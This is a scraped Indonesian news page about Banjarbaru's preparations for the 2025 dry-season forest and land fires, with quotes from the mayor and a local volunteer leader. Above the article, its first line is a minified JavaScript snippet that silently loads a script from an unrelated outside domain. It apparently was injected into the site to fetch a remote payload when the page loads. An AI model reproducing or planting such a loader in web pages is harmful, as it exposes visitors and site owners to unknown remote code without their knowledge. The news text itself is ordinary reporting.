(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Respon cepat siaga ditunjukkan Pemerintah Kota (Pemko) Banjarbaru hadapi potensi resiko bencana musim kemarau 2025.
Hadapi potensi kebakaran hutan dan lahan (Karhutla), pemerintah siaga dengan menyiapkan personel, sarana dan prasarana untuk penanganan karhutla di Ibu Kota Kalimantan Selatan (Kalsel).
Apel Siaga Bencana yang digelar di lapangan dr Murdjani Banjarbaru, Selasa (5/8/2025) pagi, Wali Kota Banjarbaru Lisa Halaby memastikan seluruh personel dan peralatan dalam kondisi siap.
“Ada 6 hektare lahan yang terdampak di Landasan Ulin dan Liang Anggang, serta sudah 43 kali kejadian yang sudah kita hadapi. Mudah-mudahan ini bisa kita antisipasi ke depan,” ungkap Wali Kota Banjarbaru Lisa Halaby saat diwawancarai, Selasa (5/8/2025).
Baca juga: Ketinggian Oprit Diprotes Warga, Pembangunan Jembatan Km 31,5 Banjarbaru Terhenti
Dia menegaskan bahwa apel ini bukan sekadar seremoni, melainkan menjadi langkah konkret pemerintah dalam menghadapi potensi Karhutla di Ibu Kota Kalsel.
“Ini adalah bentuk bahwa pemerintah daerah siap siaga menghadapi ancaman kebakaran hutan dan lahan di Kota Banjarbaru,” tegasnya.
Dalam langkah antisipasi koordinasi lintas wilayah, kata Lisa, telah dilakukan bersama pemerintah provinsi dan kabupaten/kota pada Rapat Koordinasi (Rakor) bersama Gubernur Kalsel.
Baca juga: Wali Kota Lisa Halaby: Ada 43 Kejadian Karhutla di Banjarbaru
“Walaupun beberapa hari ini ada hujan, prakiraan dari BMKG menunjukkan tanggal 10 masih berpotensi turun hujan. Namun, kita tetap siaga,” tuntas dia.
Setelah Apel Siaga Bencana, pengecekan langsung dilakukan pihaknya terkait kesiapan seluruh personel dan kelengkapan armada pemadam.
Sementara Ketua Masyarakat Peduli Bencana (MPB) Landasan Ulin Utara, Ahmad Zainuri menyebutkan, adanya titik-titik api terakhir masih muncul meski dalam skala kecil.
Baca juga: 290 Gram Sabu Lintas Daerah dari Dua Lelaki Diungkap Polres HSU
“Untuk Landasan Ulin Utara, memang ada beberapa kejadian, tapi masih bisa diatasi bersama masyarakat,” ujar Ahmad Zainuri.
Ditambah dengan masih adanya hujan di Kota Banjarbaru membuat kondisi masih sangat membantu para relawan maupun pemadaman di lapangan.
“Kami menggunakan mesin portable, karena titik air masih tersedia, hujan sangat membantu. parit-parit mulai terisi lagi,” ungkapnya.
Dia menyebut bahwa seiring hujan yang mengguyur intensitas kebakaran mulai menurun. Namun, kewaspadaan tetap dikedepankan hingga musim kemarau benar-benar berakhir. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.